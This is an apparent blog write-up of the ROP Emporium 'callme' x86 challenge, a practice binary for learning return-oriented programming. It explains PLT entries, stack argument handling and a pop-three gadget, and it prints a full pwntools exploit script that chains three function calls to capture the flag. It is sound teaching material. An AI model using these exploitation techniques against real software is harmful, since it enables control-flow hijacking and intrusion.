Post

ROP Emporium callme Writeup (x86)

ROP Emporium callme Writeup (x86)

Introduction

ROP Emporium provides a series of challenges to learn and practice Return Oriented Programming (ROP). This is the third challenge of eight.

According to the challenge page our goal is to call the functions callme_one(), callme_two(), and callme_three() in that order with the arguments 0xdeadbeef, 0xcafebabe, and 0xd00df00d.

We should essentially be running

1
2
3
callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d);
callme_two(0xdeadbeef, 0xcafebabe, 0xd00df00d);
callme_three(0xdeadbeef, 0xcafebabe, 0xd00df00d);

This is what a hint will look like!

Exploit Crafting

The offset for x86 challenges will be 44 bytes. If you want to know how to get this value see the x86 ret2win writeup

Function Address

What are the plt addresses of the functions?

Using radare2 we can analyze a binary by running aaa. To list functions with their addresses we can run afl func-addr

The function addresses we need are

1
2
3
callme_one: 0x080484f0
callme_two: 0x08048550
callme_three: 0x080484e0

Procedure Linkage Table

These addresses aren’t addresses of call instructions, but rather plt entries. These plt entries are used to lookup the address of a function located in an external library. You can tell when an address is a plt address by the sym.imp string in r2

If you want a deeper understanding of the plt (procedure linkage table) and the got (global offset table) you can check the How lazy binding works section in the ROP Emporium Beginners Guide as well as this fantastic blog post

Why are we using the plt entries for the functions rather than the calls in usefulFunction? When a call instruction is executed, it’ll execute the function while also placing the return address onto the stack! So once callme_one() is finished it will continue to execute instructions in usefulFunction

call-problem

So after we finish callme_one(), the program will exit. This would could be okay for one function call but we want to chain a few together

Adding Arguments

Which instruction removes a value from the stack and moves the stack pointer?

x86 Calling Convention

In x86, we pass each argument onto the stack. There are other x86 calling conventions but passing arguments is all we need to know for our purposes

The previous challenge used a call instruction to invoke a function, but that won’t work if we want to chain multiple functions together. Using a call also has the hidden effect of automatically adding a return address to the stack!

Argument Debugging

Since we aren’t using call, we need to manually maintain the stack. A first attempt at constructing a ROP chain for this challenge might look something like this

first-stack

But when we try to run this, callme_one’s first argument is incorrect! It points to the second arg (0xcafebabe) instead of the first (0xdeadbeef) arg-error

If we try to add some junk data (0x66666666) between callme_one and 0xdeadbeef we get a return error

junk-stack

junk-error

If we replace the junk data with the address of callme_two, the second function will get called but the stack will be a little wonky…

ret-stack

ret-error

What essentially happened is once callme_one finished (with the proper arguments) the callme_one address was popped off the stack and our previous junk entry is now at the top of the stack. That address is called and we have the same stack argument offset issues as before!

arg2-error

Gadget

So how do we solve this? Here’s a great article which goes over some methods for chaining functions in a 32 bit environment.

We’re going to be taking advantage of the pop command. You should know by now that it takes a value off of the stack and places it into a specified register. What makes this really powerful is that it not only sets a register, it’ll update the stack pointer to remove the space reserved for this value! This will allow us to completely delete our function arguments off of the stack so the stack is properly set for our next function call

Since we have three arguments, we should find a gadget which pops three arguments into any register. In radare2 we can use the /R command

1
/R pop

pop-addr

If we set this gadget to run once callme ends, it’ll remove all of the arguments for that function and we’re free to call more arbitrary functions with arbitrary arguments! The stack should look like this in the final exploit

pop-stack

Exploit

Now we have everything we need to build the exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

# useful addresses
callme1_addr = 0x080484f0
callme2_addr = 0x08048550
callme3_addr = 0x080484e0
pop_3 = 0x080487f9

# adds function arguments onto the stack
def add_args(args):
    # fixes stack after function returns
    payload = p32(pop_3)
    # adds args
    for a in args:
        payload += p32(a)
    return payload

# required callme args in the proper order
args = [0xdeadbeef, 0xcafebabe, 0xd00df00d]

# construct payload
payload = b'A' * 44
# callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d)
payload += p32(callme1_addr)
payload += add_args(args)

payload += p32(callme2_addr)
payload += add_args(args)

payload += p32(callme3_addr)
payload += add_args(args)

# send payload + receive flag
io = process('./callme32')
io.send(payload)
io.recvuntil(b'callme_two() called correctly\n')
flag = io.recvline()
log.success(flag.decode('utf-8'))

flag

Conclusion

This challenge takes things a step further than just calling an arbitrary function by introducting the ability to set arbitrary arguments for that function. This isn’t as simple as it seems as we also need to maintain the stack under x86 with a pop gadget!

Previous Challenge (split)

Next Challenge (write4)

callme x64

This post is licensed under CC BY 4.0 by the author.